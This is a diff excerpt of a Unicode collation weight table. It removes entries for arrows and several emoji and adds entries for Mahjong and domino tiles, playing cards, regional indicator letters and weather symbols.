-1F845 ; [*177C.0020.0002] # UPWARDS HEAVY ARROW
-1F846 ; [*177D.0020.0002] # RIGHTWARDS HEAVY ARROW
-1F847 ; [*177E.0020.0002] # DOWNWARDS HEAVY ARROW
-1F850 ; [*177F.0020.0002] # LEFTWARDS SANS-SERIF ARROW
-1F851 ; [*1780.0020.0002] # UPWARDS SANS-SERIF ARROW
-1F852 ; [*1781.0020.0002] # RIGHTWARDS SANS-SERIF ARROW
-1F853 ; [*1782.0020.0002] # DOWNWARDS SANS-SERIF ARROW
-1F854 ; [*1783.0020.0002] # NORTH WEST SANS-SERIF ARROW
-1F855 ; [*1784.0020.0002] # NORTH EAST SANS-SERIF ARROW
-1F856 ; [*1785.0020.0002] # SOUTH EAST SANS-SERIF ARROW
-1F857 ; [*1786.0020.0002] # SOUTH WEST SANS-SERIF ARROW
-1F858 ; [*1787.0020.0002] # LEFT RIGHT SANS-SERIF ARROW
-1F859 ; [*1788.0020.0002] # UP DOWN SANS-SERIF ARROW
-1F860 ; [*1789.0020.0002] # WIDE-HEADED LEFTWARDS LIGHT BARB ARROW
-1F861 ; [*178A.0020.0002] # WIDE-HEADED UPWARDS LIGHT BARB ARROW
-1F862 ; [*178B.0020.0002] # WIDE-HEADED RIGHTWARDS LIGHT BARB ARROW
-1F863 ; [*178C.0020.0002] # WIDE-HEADED DOWNWARDS LIGHT BARB ARROW
-1F864 ; [*178D.0020.0002] # WIDE-HEADED NORTH WEST LIGHT BARB ARROW
-1F865 ; [*178E.0020.0002] # WIDE-HEADED NORTH EAST LIGHT BARB ARROW
-1F866 ; [*178F.0020.0002] # WIDE-HEADED SOUTH EAST LIGHT BARB ARROW
-1F867 ; [*1790.0020.0002] # WIDE-HEADED SOUTH WEST LIGHT BARB ARROW
-1F868 ; [*1791.0020.0002] # WIDE-HEADED LEFTWARDS BARB ARROW
-1F869 ; [*1792.0020.0002] # WIDE-HEADED UPWARDS BARB ARROW
-1F86A ; [*1793.0020.0002] # WIDE-HEADED RIGHTWARDS BARB ARROW
-1F86B ; [*1794.0020.0002] # WIDE-HEADED DOWNWARDS BARB ARROW
-1F86C ; [*1795.0020.0002] # WIDE-HEADED NORTH WEST BARB ARROW
-1F86D ; [*1796.0020.0002] # WIDE-HEADED NORTH EAST BARB ARROW
-1F86E ; [*1797.0020.0002] # WIDE-HEADED SOUTH EAST BARB ARROW
-1F86F ; [*1798.0020.0002] # WIDE-HEADED SOUTH WEST BARB ARROW
-1F870 ; [*1799.0020.0002] # WIDE-HEADED LEFTWARDS MEDIUM BARB ARROW
-1F871 ; [*179A.0020.0002] # WIDE-HEADED UPWARDS MEDIUM BARB ARROW
-1F872 ; [*179B.0020.0002] # WIDE-HEADED RIGHTWARDS MEDIUM BARB ARROW
-1F873 ; [*179C.0020.0002] # WIDE-HEADED DOWNWARDS MEDIUM BARB ARROW
-1F874 ; [*179D.0020.0002] # WIDE-HEADED NORTH WEST MEDIUM BARB ARROW
-1F875 ; [*179E.0020.0002] # WIDE-HEADED NORTH EAST MEDIUM BARB ARROW
-1F876 ; [*179F.0020.0002] # WIDE-HEADED SOUTH EAST MEDIUM BARB ARROW
-1F877 ; [*17A0.0020.0002] # WIDE-HEADED SOUTH WEST MEDIUM BARB ARROW
-1F878 ; [*17A1.0020.0002] # WIDE-HEADED LEFTWARDS HEAVY BARB ARROW
-1F879 ; [*17A2.0020.0002] # WIDE-HEADED UPWARDS HEAVY BARB ARROW
-1F87A ; [*17A3.0020.0002] # WIDE-HEADED RIGHTWARDS HEAVY BARB ARROW
-1F87B ; [*17A4.0020.0002] # WIDE-HEADED DOWNWARDS HEAVY BARB ARROW
-1F87C ; [*17A5.0020.0002] # WIDE-HEADED NORTH WEST HEAVY BARB ARROW
-1F87D ; [*17A6.0020.0002] # WIDE-HEADED NORTH EAST HEAVY BARB ARROW
-1F87E ; [*17A7.0020.0002] # WIDE-HEADED SOUTH EAST HEAVY BARB ARROW
-1F87F ; [*17A8.0020.0002] # WIDE-HEADED SOUTH WEST HEAVY BARB ARROW
-1F880 ; [*17A9.0020.0002] # WIDE-HEADED LEFTWARDS VERY HEAVY BARB ARROW
-1F881 ; [*17AA.0020.0002] # WIDE-HEADED UPWARDS VERY HEAVY BARB ARROW
-1F882 ; [*17AB.0020.0002] # WIDE-HEADED RIGHTWARDS VERY HEAVY BARB ARROW
-1F883 ; [*17AC.0020.0002] # WIDE-HEADED DOWNWARDS VERY HEAVY BARB ARROW
-1F884 ; [*17AD.0020.0002] # WIDE-HEADED NORTH WEST VERY HEAVY BARB ARROW
-1F885 ; [*17AE.0020.0002] # WIDE-HEADED NORTH EAST VERY HEAVY BARB ARROW
-1F886 ; [*17AF.0020.0002] # WIDE-HEADED SOUTH EAST VERY HEAVY BARB ARROW
-1F887 ; [*17B0.0020.0002] # WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW
-1F890 ; [*17B1.0020.0002] # LEFTWARDS TRIANGLE ARROWHEAD
-1F891 ; [*17B2.0020.0002] # UPWARDS TRIANGLE ARROWHEAD
-1F892 ; [*17B3.0020.0002] # RIGHTWARDS TRIANGLE ARROWHEAD
-1F893 ; [*17B4.0020.0002] # DOWNWARDS TRIANGLE ARROWHEAD
-1F894 ; [*17B5.0020.0002] # LEFTWARDS WHITE ARROW WITHIN TRIANGLE ARROWHEAD
-1F895 ; [*17B6.0020.0002] # UPWARDS WHITE ARROW WITHIN TRIANGLE ARROWHEAD
-1F896 ; [*17B7.0020.0002] # RIGHTWARDS WHITE ARROW WITHIN TRIANGLE ARROWHEAD
-1F897 ; [*17B8.0020.0002] # DOWNWARDS WHITE ARROW WITHIN TRIANGLE ARROWHEAD
-1F898 ; [*17B9.0020.0002] # LEFTWARDS ARROW WITH NOTCHED TAIL
-1F899 ; [*17BA.0020.0002] # UPWARDS ARROW WITH NOTCHED TAIL
-1F89A ; [*17BB.0020.0002] # RIGHTWARDS ARROW WITH NOTCHED TAIL
-1F89B ; [*17BC.0020.0002] # DOWNWARDS ARROW WITH NOTCHED TAIL
-1F89C ; [*17BD.0020.0002] # HEAVY ARROW SHAFT WIDTH ONE
-1F89D ; [*17BE.0020.0002] # HEAVY ARROW SHAFT WIDTH TWO THIRDS
-1F89E ; [*17BF.0020.0002] # HEAVY ARROW SHAFT WIDTH ONE HALF
-1F89F ; [*17C0.0020.0002] # HEAVY ARROW SHAFT WIDTH ONE THIRD
-1F8A0 ; [*17C1.0020.0002] # LEFTWARDS BOTTOM-SHADED WHITE ARROW
-1F8A1 ; [*17C2.0020.0002] # RIGHTWARDS BOTTOM SHADED WHITE ARROW
-1F8A2 ; [*17C3.0020.0002] # LEFTWARDS TOP SHADED WHITE ARROW
-1F8A3 ; [*17C4.0020.0002] # RIGHTWARDS TOP SHADED WHITE ARROW
-1F8A4 ; [*17C5.0020.0002] # LEFTWARDS LEFT-SHADED WHITE ARROW
-1F8A5 ; [*17C6.0020.0002] # RIGHTWARDS RIGHT-SHADED WHITE ARROW
-1F8A6 ; [*17C7.0020.0002] # LEFTWARDS RIGHT-SHADED WHITE ARROW
-1F8A7 ; [*17C8.0020.0002] # RIGHTWARDS LEFT-SHADED WHITE ARROW
-1F8A8 ; [*17C9.0020.0002] # LEFTWARDS BACK-TILTED SHADOWED WHITE ARROW
-1F8A9 ; [*17CA.0020.0002] # RIGHTWARDS BACK-TILTED SHADOWED WHITE ARROW
-1F8AA ; [*17CB.0020.0002] # LEFTWARDS FRONT-TILTED SHADOWED WHITE ARROW
-1F8AB ; [*17CC.0020.0002] # RIGHTWARDS FRONT-TILTED SHADOWED WHITE ARROW
-1F8AC ; [*17CD.0020.0002] # WHITE ARROW SHAFT WIDTH ONE
-1F8AD ; [*17CE.0020.0002] # WHITE ARROW SHAFT WIDTH TWO THIRDS
-1F910 ; [*1581.0020.0002] # ZIPPER-MOUTH FACE
-1F911 ; [*1582.0020.0002] # MONEY-MOUTH FACE
-1F912 ; [*1583.0020.0002] # FACE WITH THERMOMETER
-1F913 ; [*1584.0020.0002] # NERD FACE
-1F914 ; [*1585.0020.0002] # THINKING FACE
-1F915 ; [*1586.0020.0002] # FACE WITH HEAD-BANDAGE
-1F916 ; [*1587.0020.0002] # ROBOT FACE
-1F917 ; [*1588.0020.0002] # HUGGING FACE
-1F918 ; [*1589.0020.0002] # SIGN OF THE HORNS
-1F980 ; [*158A.0020.0002] # CRAB
-1F981 ; [*158B.0020.0002] # LION FACE
-1F982 ; [*158C.0020.0002] # SCORPION
-1F983 ; [*158D.0020.0002] # TURKEY
-1F984 ; [*158E.0020.0002] # UNICORN FACE
-1F9C0 ; [*158F.0020.0002] # CHEESE WEDGE
+1E95E ; [*0265.0020.0002] # ADLAM INITIAL EXCLAMATION MARK
+1E95F ; [*0274.0020.0002] # ADLAM INITIAL QUESTION MARK
+1EEF0 ; [*04FB.0020.0002] # ARABIC MATHEMATICAL OPERATOR MEEM WITH HAH WITH TATWEEL
+1EEF1 ; [*04FC.0020.0002] # ARABIC MATHEMATICAL OPERATOR HAH WITH DAL
+1F000 ; [*11C7.0020.0002] # MAHJONG TILE EAST WIND
+1F001 ; [*11C8.0020.0002] # MAHJONG TILE SOUTH WIND
+1F002 ; [*11C9.0020.0002] # MAHJONG TILE WEST WIND
+1F003 ; [*11CA.0020.0002] # MAHJONG TILE NORTH WIND
+1F004 ; [*11CB.0020.0002] # MAHJONG TILE RED DRAGON
+1F005 ; [*11CC.0020.0002] # MAHJONG TILE GREEN DRAGON
+1F006 ; [*11CD.0020.0002] # MAHJONG TILE WHITE DRAGON
+1F007 ; [*11CE.0020.0002] # MAHJONG TILE ONE OF CHARACTERS
+1F008 ; [*11CF.0020.0002] # MAHJONG TILE TWO OF CHARACTERS
+1F009 ; [*11D0.0020.0002] # MAHJONG TILE THREE OF CHARACTERS
+1F00A ; [*11D1.0020.0002] # MAHJONG TILE FOUR OF CHARACTERS
+1F00B ; [*11D2.0020.0002] # MAHJONG TILE FIVE OF CHARACTERS
+1F00C ; [*11D3.0020.0002] # MAHJONG TILE SIX OF CHARACTERS
+1F00D ; [*11D4.0020.0002] # MAHJONG TILE SEVEN OF CHARACTERS
+1F00E ; [*11D5.0020.0002] # MAHJONG TILE EIGHT OF CHARACTERS
+1F00F ; [*11D6.0020.0002] # MAHJONG TILE NINE OF CHARACTERS
+1F010 ; [*11D7.0020.0002] # MAHJONG TILE ONE OF BAMBOOS
+1F011 ; [*11D8.0020.0002] # MAHJONG TILE TWO OF BAMBOOS
+1F012 ; [*11D9.0020.0002] # MAHJONG TILE THREE OF BAMBOOS
+1F013 ; [*11DA.0020.0002] # MAHJONG TILE FOUR OF BAMBOOS
+1F014 ; [*11DB.0020.0002] # MAHJONG TILE FIVE OF BAMBOOS
+1F015 ; [*11DC.0020.0002] # MAHJONG TILE SIX OF BAMBOOS
+1F016 ; [*11DD.0020.0002] # MAHJONG TILE SEVEN OF BAMBOOS
+1F017 ; [*11DE.0020.0002] # MAHJONG TILE EIGHT OF BAMBOOS
+1F018 ; [*11DF.0020.0002] # MAHJONG TILE NINE OF BAMBOOS
+1F019 ; [*11E0.0020.0002] # MAHJONG TILE ONE OF CIRCLES
+1F01A ; [*11E1.0020.0002] # MAHJONG TILE TWO OF CIRCLES
+1F01B ; [*11E2.0020.0002] # MAHJONG TILE THREE OF CIRCLES
+1F01C ; [*11E3.0020.0002] # MAHJONG TILE FOUR OF CIRCLES
+1F01D ; [*11E4.0020.0002] # MAHJONG TILE FIVE OF CIRCLES
+1F01E ; [*11E5.0020.0002] # MAHJONG TILE SIX OF CIRCLES
+1F01F ; [*11E6.0020.0002] # MAHJONG TILE SEVEN OF CIRCLES
+1F020 ; [*11E7.0020.0002] # MAHJONG TILE EIGHT OF CIRCLES
+1F021 ; [*11E8.0020.0002] # MAHJONG TILE NINE OF CIRCLES
+1F022 ; [*11E9.0020.0002] # MAHJONG TILE PLUM
+1F023 ; [*11EA.0020.0002] # MAHJONG TILE ORCHID
+1F024 ; [*11EB.0020.0002] # MAHJONG TILE BAMBOO
+1F025 ; [*11EC.0020.0002] # MAHJONG TILE CHRYSANTHEMUM
+1F026 ; [*11ED.0020.0002] # MAHJONG TILE SPRING
+1F027 ; [*11EE.0020.0002] # MAHJONG TILE SUMMER
+1F028 ; [*11EF.0020.0002] # MAHJONG TILE AUTUMN
+1F029 ; [*11F0.0020.0002] # MAHJONG TILE WINTER
+1F02A ; [*11F1.0020.0002] # MAHJONG TILE JOKER
+1F02B ; [*11F2.0020.0002] # MAHJONG TILE BACK
+1F030 ; [*11F3.0020.0002] # DOMINO TILE HORIZONTAL BACK
+1F031 ; [*11F4.0020.0002] # DOMINO TILE HORIZONTAL-00-00
+1F032 ; [*11F5.0020.0002] # DOMINO TILE HORIZONTAL-00-01
+1F033 ; [*11F6.0020.0002] # DOMINO TILE HORIZONTAL-00-02
+1F034 ; [*11F7.0020.0002] # DOMINO TILE HORIZONTAL-00-03
+1F035 ; [*11F8.0020.0002] # DOMINO TILE HORIZONTAL-00-04
+1F036 ; [*11F9.0020.0002] # DOMINO TILE HORIZONTAL-00-05
+1F037 ; [*11FA.0020.0002] # DOMINO TILE HORIZONTAL-00-06
+1F038 ; [*11FB.0020.0002] # DOMINO TILE HORIZONTAL-01-00
+1F039 ; [*11FC.0020.0002] # DOMINO TILE HORIZONTAL-01-01
+1F03A ; [*11FD.0020.0002] # DOMINO TILE HORIZONTAL-01-02
+1F03B ; [*11FE.0020.0002] # DOMINO TILE HORIZONTAL-01-03
+1F03C ; [*11FF.0020.0002] # DOMINO TILE HORIZONTAL-01-04
+1F03D ; [*1200.0020.0002] # DOMINO TILE HORIZONTAL-01-05
+1F03E ; [*1201.0020.0002] # DOMINO TILE HORIZONTAL-01-06
+1F03F ; [*1202.0020.0002] # DOMINO TILE HORIZONTAL-02-00
+1F040 ; [*1203.0020.0002] # DOMINO TILE HORIZONTAL-02-01
+1F041 ; [*1204.0020.0002] # DOMINO TILE HORIZONTAL-02-02
+1F042 ; [*1205.0020.0002] # DOMINO TILE HORIZONTAL-02-03
+1F043 ; [*1206.0020.0002] # DOMINO TILE HORIZONTAL-02-04
+1F044 ; [*1207.0020.0002] # DOMINO TILE HORIZONTAL-02-05
+1F045 ; [*1208.0020.0002] # DOMINO TILE HORIZONTAL-02-06
+1F046 ; [*1209.0020.0002] # DOMINO TILE HORIZONTAL-03-00
+1F047 ; [*120A.0020.0002] # DOMINO TILE HORIZONTAL-03-01
+1F048 ; [*120B.0020.0002] # DOMINO TILE HORIZONTAL-03-02
+1F049 ; [*120C.0020.0002] # DOMINO TILE HORIZONTAL-03-03
+1F04A ; [*120D.0020.0002] # DOMINO TILE HORIZONTAL-03-04
+1F04B ; [*120E.0020.0002] # DOMINO TILE HORIZONTAL-03-05
+1F04C ; [*120F.0020.0002] # DOMINO TILE HORIZONTAL-03-06
+1F04D ; [*1210.0020.0002] # DOMINO TILE HORIZONTAL-04-00
+1F04E ; [*1211.0020.0002] # DOMINO TILE HORIZONTAL-04-01
+1F04F ; [*1212.0020.0002] # DOMINO TILE HORIZONTAL-04-02
+1F050 ; [*1213.0020.0002] # DOMINO TILE HORIZONTAL-04-03
+1F051 ; [*1214.0020.0002] # DOMINO TILE HORIZONTAL-04-04
+1F052 ; [*1215.0020.0002] # DOMINO TILE HORIZONTAL-04-05
+1F053 ; [*1216.0020.0002] # DOMINO TILE HORIZONTAL-04-06
+1F054 ; [*1217.0020.0002] # DOMINO TILE HORIZONTAL-05-00
+1F055 ; [*1218.0020.0002] # DOMINO TILE HORIZONTAL-05-01
+1F056 ; [*1219.0020.0002] # DOMINO TILE HORIZONTAL-05-02
+1F057 ; [*121A.0020.0002] # DOMINO TILE HORIZONTAL-05-03
+1F058 ; [*121B.0020.0002] # DOMINO TILE HORIZONTAL-05-04
+1F059 ; [*121C.0020.0002] # DOMINO TILE HORIZONTAL-05-05
+1F05A ; [*121D.0020.0002] # DOMINO TILE HORIZONTAL-05-06
+1F05B ; [*121E.0020.0002] # DOMINO TILE HORIZONTAL-06-00
+1F05C ; [*121F.0020.0002] # DOMINO TILE HORIZONTAL-06-01
+1F05D ; [*1220.0020.0002] # DOMINO TILE HORIZONTAL-06-02
+1F05E ; [*1221.0020.0002] # DOMINO TILE HORIZONTAL-06-03
+1F05F ; [*1222.0020.0002] # DOMINO TILE HORIZONTAL-06-04
+1F060 ; [*1223.0020.0002] # DOMINO TILE HORIZONTAL-06-05
+1F061 ; [*1224.0020.0002] # DOMINO TILE HORIZONTAL-06-06
+1F062 ; [*1225.0020.0002] # DOMINO TILE VERTICAL BACK
+1F063 ; [*1226.0020.0002] # DOMINO TILE VERTICAL-00-00
+1F064 ; [*1227.0020.0002] # DOMINO TILE VERTICAL-00-01
+1F065 ; [*1228.0020.0002] # DOMINO TILE VERTICAL-00-02
+1F066 ; [*1229.0020.0002] # DOMINO TILE VERTICAL-00-03
+1F067 ; [*122A.0020.0002] # DOMINO TILE VERTICAL-00-04
+1F068 ; [*122B.0020.0002] # DOMINO TILE VERTICAL-00-05
+1F069 ; [*122C.0020.0002] # DOMINO TILE VERTICAL-00-06
+1F06A ; [*122D.0020.0002] # DOMINO TILE VERTICAL-01-00
+1F06B ; [*122E.0020.0002] # DOMINO TILE VERTICAL-01-01
+1F06C ; [*122F.0020.0002] # DOMINO TILE VERTICAL-01-02
+1F06D ; [*1230.0020.0002] # DOMINO TILE VERTICAL-01-03
+1F06E ; [*1231.0020.0002] # DOMINO TILE VERTICAL-01-04
+1F06F ; [*1232.0020.0002] # DOMINO TILE VERTICAL-01-05
+1F070 ; [*1233.0020.0002] # DOMINO TILE VERTICAL-01-06
+1F071 ; [*1234.0020.0002] # DOMINO TILE VERTICAL-02-00
+1F072 ; [*1235.0020.0002] # DOMINO TILE VERTICAL-02-01
+1F073 ; [*1236.0020.0002] # DOMINO TILE VERTICAL-02-02
+1F074 ; [*1237.0020.0002] # DOMINO TILE VERTICAL-02-03
+1F075 ; [*1238.0020.0002] # DOMINO TILE VERTICAL-02-04
+1F076 ; [*1239.0020.0002] # DOMINO TILE VERTICAL-02-05
+1F077 ; [*123A.0020.0002] # DOMINO TILE VERTICAL-02-06
+1F078 ; [*123B.0020.0002] # DOMINO TILE VERTICAL-03-00
+1F079 ; [*123C.0020.0002] # DOMINO TILE VERTICAL-03-01
+1F07A ; [*123D.0020.0002] # DOMINO TILE VERTICAL-03-02
+1F07B ; [*123E.0020.0002] # DOMINO TILE VERTICAL-03-03
+1F07C ; [*123F.0020.0002] # DOMINO TILE VERTICAL-03-04
+1F07D ; [*1240.0020.0002] # DOMINO TILE VERTICAL-03-05
+1F07E ; [*1241.0020.0002] # DOMINO TILE VERTICAL-03-06
+1F07F ; [*1242.0020.0002] # DOMINO TILE VERTICAL-04-00
+1F080 ; [*1243.0020.0002] # DOMINO TILE VERTICAL-04-01
+1F081 ; [*1244.0020.0002] # DOMINO TILE VERTICAL-04-02
+1F082 ; [*1245.0020.0002] # DOMINO TILE VERTICAL-04-03
+1F083 ; [*1246.0020.0002] # DOMINO TILE VERTICAL-04-04
+1F084 ; [*1247.0020.0002] # DOMINO TILE VERTICAL-04-05
+1F085 ; [*1248.0020.0002] # DOMINO TILE VERTICAL-04-06
+1F086 ; [*1249.0020.0002] # DOMINO TILE VERTICAL-05-00
+1F087 ; [*124A.0020.0002] # DOMINO TILE VERTICAL-05-01
+1F088 ; [*124B.0020.0002] # DOMINO TILE VERTICAL-05-02
+1F089 ; [*124C.0020.0002] # DOMINO TILE VERTICAL-05-03
+1F08A ; [*124D.0020.0002] # DOMINO TILE VERTICAL-05-04
+1F08B ; [*124E.0020.0002] # DOMINO TILE VERTICAL-05-05
+1F08C ; [*124F.0020.0002] # DOMINO TILE VERTICAL-05-06
+1F08D ; [*1250.0020.0002] # DOMINO TILE VERTICAL-06-00
+1F08E ; [*1251.0020.0002] # DOMINO TILE VERTICAL-06-01
+1F08F ; [*1252.0020.0002] # DOMINO TILE VERTICAL-06-02
+1F090 ; [*1253.0020.0002] # DOMINO TILE VERTICAL-06-03
+1F091 ; [*1254.0020.0002] # DOMINO TILE VERTICAL-06-04
+1F092 ; [*1255.0020.0002] # DOMINO TILE VERTICAL-06-05
+1F093 ; [*1256.0020.0002] # DOMINO TILE VERTICAL-06-06
+1F0A0 ; [*1257.0020.0002] # PLAYING CARD BACK
+1F0A1 ; [*1258.0020.0002] # PLAYING CARD ACE OF SPADES
+1F0A2 ; [*1259.0020.0002] # PLAYING CARD TWO OF SPADES
+1F0A3 ; [*125A.0020.0002] # PLAYING CARD THREE OF SPADES
+1F0A4 ; [*125B.0020.0002] # PLAYING CARD FOUR OF SPADES
+1F0A5 ; [*125C.0020.0002] # PLAYING CARD FIVE OF SPADES
+1F0A6 ; [*125D.0020.0002] # PLAYING CARD SIX OF SPADES
+1F0A7 ; [*125E.0020.0002] # PLAYING CARD SEVEN OF SPADES
+1F0A8 ; [*125F.0020.0002] # PLAYING CARD EIGHT OF SPADES
+1F0A9 ; [*1260.0020.0002] # PLAYING CARD NINE OF SPADES
+1F0AA ; [*1261.0020.0002] # PLAYING CARD TEN OF SPADES
+1F0AB ; [*1262.0020.0002] # PLAYING CARD JACK OF SPADES
+1F0AC ; [*1263.0020.0002] # PLAYING CARD KNIGHT OF SPADES
+1F0AD ; [*1264.0020.0002] # PLAYING CARD QUEEN OF SPADES
+1F0AE ; [*1265.0020.0002] # PLAYING CARD KING OF SPADES
+1F0B1 ; [*1266.0020.0002] # PLAYING CARD ACE OF HEARTS
+1F0B2 ; [*1267.0020.0002] # PLAYING CARD TWO OF HEARTS
+1F0B3 ; [*1268.0020.0002] # PLAYING CARD THREE OF HEARTS
+1F0B4 ; [*1269.0020.0002] # PLAYING CARD FOUR OF HEARTS
+1F0B5 ; [*126A.0020.0002] # PLAYING CARD FIVE OF HEARTS
+1F0B6 ; [*126B.0020.0002] # PLAYING CARD SIX OF HEARTS
+1F0B7 ; [*126C.0020.0002] # PLAYING CARD SEVEN OF HEARTS
+1F0B8 ; [*126D.0020.0002] # PLAYING CARD EIGHT OF HEARTS
+1F0B9 ; [*126E.0020.0002] # PLAYING CARD NINE OF HEARTS
+1F0BA ; [*126F.0020.0002] # PLAYING CARD TEN OF HEARTS
+1F0BB ; [*1270.0020.0002] # PLAYING CARD JACK OF HEARTS
+1F0BC ; [*1271.0020.0002] # PLAYING CARD KNIGHT OF HEARTS
+1F0BD ; [*1272.0020.0002] # PLAYING CARD QUEEN OF HEARTS
+1F0BE ; [*1273.0020.0002] # PLAYING CARD KING OF HEARTS
+1F0BF ; [*1274.0020.0002] # PLAYING CARD RED JOKER
+1F0C1 ; [*1275.0020.0002] # PLAYING CARD ACE OF DIAMONDS
+1F0C2 ; [*1276.0020.0002] # PLAYING CARD TWO OF DIAMONDS
+1F0C3 ; [*1277.0020.0002] # PLAYING CARD THREE OF DIAMONDS
+1F0C4 ; [*1278.0020.0002] # PLAYING CARD FOUR OF DIAMONDS
+1F0C5 ; [*1279.0020.0002] # PLAYING CARD FIVE OF DIAMONDS
+1F0C6 ; [*127A.0020.0002] # PLAYING CARD SIX OF DIAMONDS
+1F0C7 ; [*127B.0020.0002] # PLAYING CARD SEVEN OF DIAMONDS
+1F0C8 ; [*127C.0020.0002] # PLAYING CARD EIGHT OF DIAMONDS
+1F0C9 ; [*127D.0020.0002] # PLAYING CARD NINE OF DIAMONDS
+1F0CA ; [*127E.0020.0002] # PLAYING CARD TEN OF DIAMONDS
+1F0CB ; [*127F.0020.0002] # PLAYING CARD JACK OF DIAMONDS
+1F0CC ; [*1280.0020.0002] # PLAYING CARD KNIGHT OF DIAMONDS
+1F0CD ; [*1281.0020.0002] # PLAYING CARD QUEEN OF DIAMONDS
+1F0CE ; [*1282.0020.0002] # PLAYING CARD KING OF DIAMONDS
+1F0CF ; [*1283.0020.0002] # PLAYING CARD BLACK JOKER
+1F0D1 ; [*1284.0020.0002] # PLAYING CARD ACE OF CLUBS
+1F0D2 ; [*1285.0020.0002] # PLAYING CARD TWO OF CLUBS
+1F0D3 ; [*1286.0020.0002] # PLAYING CARD THREE OF CLUBS
+1F0D4 ; [*1287.0020.0002] # PLAYING CARD FOUR OF CLUBS
+1F0D5 ; [*1288.0020.0002] # PLAYING CARD FIVE OF CLUBS
+1F0D6 ; [*1289.0020.0002] # PLAYING CARD SIX OF CLUBS
+1F0D7 ; [*128A.0020.0002] # PLAYING CARD SEVEN OF CLUBS
+1F0D8 ; [*128B.0020.0002] # PLAYING CARD EIGHT OF CLUBS
+1F0D9 ; [*128C.0020.0002] # PLAYING CARD NINE OF CLUBS
+1F0DA ; [*128D.0020.0002] # PLAYING CARD TEN OF CLUBS
+1F0DB ; [*128E.0020.0002] # PLAYING CARD JACK OF CLUBS
+1F0DC ; [*128F.0020.0002] # PLAYING CARD KNIGHT OF CLUBS
+1F0DD ; [*1290.0020.0002] # PLAYING CARD QUEEN OF CLUBS
+1F0DE ; [*1291.0020.0002] # PLAYING CARD KING OF CLUBS
+1F0DF ; [*1292.0020.0002] # PLAYING CARD WHITE JOKER
+1F0E0 ; [*1293.0020.0002] # PLAYING CARD FOOL
+1F0E1 ; [*1294.0020.0002] # PLAYING CARD TRUMP-1
+1F0E2 ; [*1295.0020.0002] # PLAYING CARD TRUMP-2
+1F0E3 ; [*1296.0020.0002] # PLAYING CARD TRUMP-3
+1F0E4 ; [*1297.0020.0002] # PLAYING CARD TRUMP-4
+1F0E5 ; [*1298.0020.0002] # PLAYING CARD TRUMP-5
+1F0E6 ; [*1299.0020.0002] # PLAYING CARD TRUMP-6
+1F0E7 ; [*129A.0020.0002] # PLAYING CARD TRUMP-7
+1F0E8 ; [*129B.0020.0002] # PLAYING CARD TRUMP-8
+1F0E9 ; [*129C.0020.0002] # PLAYING CARD TRUMP-9
+1F0EA ; [*129D.0020.0002] # PLAYING CARD TRUMP-10
+1F0EB ; [*129E.0020.0002] # PLAYING CARD TRUMP-11
+1F0EC ; [*129F.0020.0002] # PLAYING CARD TRUMP-12
+1F0ED ; [*12A0.0020.0002] # PLAYING CARD TRUMP-13
+1F0EE ; [*12A1.0020.0002] # PLAYING CARD TRUMP-14
+1F0EF ; [*12A2.0020.0002] # PLAYING CARD TRUMP-15
+1F0F0 ; [*12A3.0020.0002] # PLAYING CARD TRUMP-16
+1F0F1 ; [*12A4.0020.0002] # PLAYING CARD TRUMP-17
+1F0F2 ; [*12A5.0020.0002] # PLAYING CARD TRUMP-18
+1F0F3 ; [*12A6.0020.0002] # PLAYING CARD TRUMP-19
+1F0F4 ; [*12A7.0020.0002] # PLAYING CARD TRUMP-20
+1F0F5 ; [*12A8.0020.0002] # PLAYING CARD TRUMP-21
+1F1E6 ; [*0A07.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER A
+1F1E7 ; [*0A08.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER B
+1F1E8 ; [*0A09.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER C
+1F1E9 ; [*0A0A.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER D
+1F1EA ; [*0A0B.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER E
+1F1EB ; [*0A0C.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER F
+1F1EC ; [*0A0D.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER G
+1F1ED ; [*0A0E.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER H
+1F1EE ; [*0A0F.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER I
+1F1EF ; [*0A10.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER J
+1F1F0 ; [*0A11.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER K
+1F1F1 ; [*0A12.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER L
+1F1F2 ; [*0A13.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER M
+1F1F3 ; [*0A14.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER N
+1F1F4 ; [*0A15.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER O
+1F1F5 ; [*0A16.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER P
+1F1F6 ; [*0A17.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER Q
+1F1F7 ; [*0A18.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER R
+1F1F8 ; [*0A19.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER S
+1F1F9 ; [*0A1A.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER T
+1F1FA ; [*0A1B.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER U
+1F1FB ; [*0A1C.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER V
+1F1FC ; [*0A1D.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER W
+1F1FD ; [*0A1E.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER X
+1F1FE ; [*0A1F.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER Y
+1F1FF ; [*0A20.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER Z
+1F300 ; [*12A9.0020.0002] # CYCLONE
+1F301 ; [*12AA.0020.0002] # FOGGY
+1F302 ; [*12AB.0020.0002] # CLOSED UMBRELLA
+1F303 ; [*12AC.0020.0002] # NIGHT WITH STARS
+1F304 ; [*12AD.0020.0002] # SUNRISE OVER MOUNTAINS
+1F305 ; [*12AE.0020.0002] # SUNRISE
+1F306 ; [*12AF.0020.0002] # CITYSCAPE AT DUSK
+1F307 ; [*12B0.0020.0002] # SUNSET OVER BUILDINGS
+1F308 ; [*12B1.0020.0002] # RAINBOW
+1F309 ; [*12B2.0020.0002] # BRIDGE AT NIGHT
+1F30A ; [*12B3.0020.0002] # WATER WAVE
